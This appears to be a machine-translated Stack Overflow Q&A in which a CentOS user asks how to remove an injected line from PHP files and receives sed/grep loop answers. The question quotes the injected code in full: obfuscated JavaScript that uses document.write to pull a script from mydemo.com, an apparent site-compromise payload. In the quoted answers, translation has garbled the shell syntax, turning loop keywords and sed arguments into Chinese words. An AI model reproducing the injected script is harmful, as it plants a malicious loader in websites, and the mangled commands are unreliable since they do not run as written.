替换文件centos中的整行

时间:2016-06-21 19:34:41

标签: linux centos7

我在.php文件中有一个脚本,如下所示:          var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}

我想在cmd行中用(1)空字符替换整行。可能吗?尝试用sed来做,但可能这是一个太复杂的字符串。想在var中设置字符串,但也没有用。有人有什么想法吗?

2 个答案:

答案 0 :(得分:1)

这实际上是sed擅长的东西。:)

sed -i '1s/.*/ /' your-file

示例:

$ cat test
one
two
three
$ sed '1s/.*/ /' < test

two
three

答案 1 :(得分:0)

在我的OS X上我测试了这个脚本:

  

for $ strnum(grep -n“qwe”test.txt | awk -F':''{print $ 1}');做cat test.txt | sed -i'.txt'$ strnum's /.*/ /'test.txt;完成

在CentOS上应该使用这个脚本:

  

for $ strnum(grep -n“qwe”test.txt | awk -F':''{print $ 1}');做cat test.txt | sed -i $ strnum的/.*/ /'test.txt;完成

你应该用你的模式替换qwe。它将替换所有可以找到模式的字符串。

要将正确的内容放在grep中,应该准备好。您应该创建具有所需模式的文件并启动命令:

  

echo'“'$(cat your_file | sed -e's |”| \\“| g')'”'

这个命令的结果应该替换为qwe(肯定是引号)。

你应该得到这样的东西:

for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done